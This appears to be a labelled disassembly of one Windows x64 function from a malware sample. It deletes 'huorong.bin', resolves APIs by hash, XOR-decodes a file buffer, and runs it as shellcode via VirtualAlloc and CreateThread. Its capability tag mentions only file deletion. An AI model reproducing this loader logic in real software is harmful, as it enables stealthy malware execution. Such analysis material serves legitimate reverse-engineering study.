Function at 0x140002660
Capabilities:
Delete file

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov qword [rbp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor r15d, r15d
mov dword [rbp + 0xa0], r15d
lea rax, [0x14002b7c0]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0xa0], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp], rax
mov qword [rsp + 0x58], r15
lea rcx, [rbp]
call fcn.140001eb0
lea r11, [rsp + 0x60]
mov qword [rbp + 0x48], r11
mov qword [rbp + 0x50], r15
lea rcx, [rbp]
call fcn.140005580
mov byte [rbp + 0x58], al
cmp qword [rbp + 0x48], r15
jne 0x1400026f7
mov edx, dword [rbp + 0x10]
or edx, 4
xor r8d, r8d
lea rcx, [rbp]
call fcn.140001cd0
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.140004790
nop
lea rcx, [rsp + 0x60]
call fcn.140004830
test rax, rax
jne 0x14000274d
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140002744
or edx, 4
xor r8d, r8d
call fcn.140001cd0
nop
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x14000278f
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
jmp 0x140002799
mov rdx, qword [0x1400274d0]
mov rax, r15
movsxd r12, eax
add r12, rdx
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x140002805
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x38]
add r11, qword [rsp + 0x30]
cmp r11, qword [0x1400274d0]
jne 0x140002805
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x1400027fd
or edx, 4
xor r8d, r8d
call fcn.140001cd0
mov rcx, r12
call fcn.140007238
mov r13, rax
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140002be0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x14000286b
mov rcx, r13
call fcn.140008dec
lea rcx, [rsp + 0x60]
call fcn.140004920
test rax, rax
jne 0x14000286b
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140002863
or edx, 4
xor r8d, r8d
call fcn.140001cd0
lea rcx, [rsp + 0x60]
call fcn.140004920
test rax, rax
jne 0x1400028a0
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140002898
or edx, 4
xor r8d, r8d
call fcn.140001cd0
lea rcx, str.huorong.bin
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400024b0
mov rbx, rax
mov edx, 0xf0b03804
mov rcx, rax
call fcn.140002570
mov rdi, rax
mov edx, 0x1ac1e8e1
mov rcx, rbx
call fcn.140002570
mov rsi, rax
lea rcx, str.kernel32.dll
call rdi
mov rbx, rax
lea rdx, str.VirtualAlloc
mov rcx, rax
call rsi
mov rdi, rax
lea rdx, str.CreateThread
mov rcx, rbx
call rsi
mov r14, rax
lea rdx, str.WaitForSingleObject
mov rcx, rbx
call rsi
mov rsi, rax
mov r10d, r15d
mov r9, r15
test r12, r12
jle 0x14000297c
mov r11, r13
lea r8, str.0x69
nop word [rax + rax]
movsx ecx, byte [r9 + r8]
mov eax, 0x4ac525d3
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r11], cl
inc r9
mov eax, r10d
and eax, 0x80000003
jge 0x140002968
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
cmove r9, r15
inc r10d
inc r11
movsxd rax, r10d
cmp rax, r12
jl 0x140002930
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r12
xor ecx, ecx
call rdi
mov rbx, rax
mov r8, r12
mov rdx, r13
mov rcx, rax
call fcn.140007c00
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call r14
or edx, 0xffffffff
mov rcx, rax
call rsi
nop
lea rcx, [rbp]
call fcn.1400032e0
lea r11, vtable.std::ios_base.0
mov qword [rbp], r11
lea rcx, [rbp]
call fcn.140006274
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
sub rsp, 0x28
call fcn.140002120
add rsp, 0x28
jmp 0x140002660